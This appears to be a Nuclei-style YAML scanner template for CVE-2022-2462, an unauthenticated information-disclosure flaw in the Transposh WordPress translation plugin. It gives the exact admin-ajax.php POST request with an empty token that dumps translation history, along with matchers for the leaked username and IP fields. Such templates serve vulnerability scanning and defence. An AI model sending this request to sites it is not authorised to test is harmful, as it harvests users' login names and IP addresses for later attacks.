53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
id: CVE-2022-2462
|
|
|
|
info:
|
|
name: Transposh WordPress Translation 1.0.8.1 Information Disclosure
|
|
author: dwisiswant0
|
|
severity: medium
|
|
description: |
|
|
Transposh WordPress Translation versions 1.0.8.1 and below have an ajax action
|
|
called "tp_history" which is intended to return data about who has translated a
|
|
text given by the "token" parameter. However, the plugin also returns the user's
|
|
login name as part of the "user_login" attribute. Successful exploits can allow
|
|
an unauthenticated attacker to leak the WordPress username of translators. If an
|
|
anonymous user submitted the translation, then the user's IP address is returned.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
|
|
- https://github.com/oferwald/transposh
|
|
- https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
|
|
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2022-2462
|
|
cwe-id: CWE-200
|
|
tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: body
|
|
words: # because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
|
|
- "translated"
|
|
- "translated_by"
|
|
- "timestamp"
|
|
- "source"
|
|
- "user_login"
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- "len(transposh) > 0" # 'transposh' equivalent for Transposh header key
|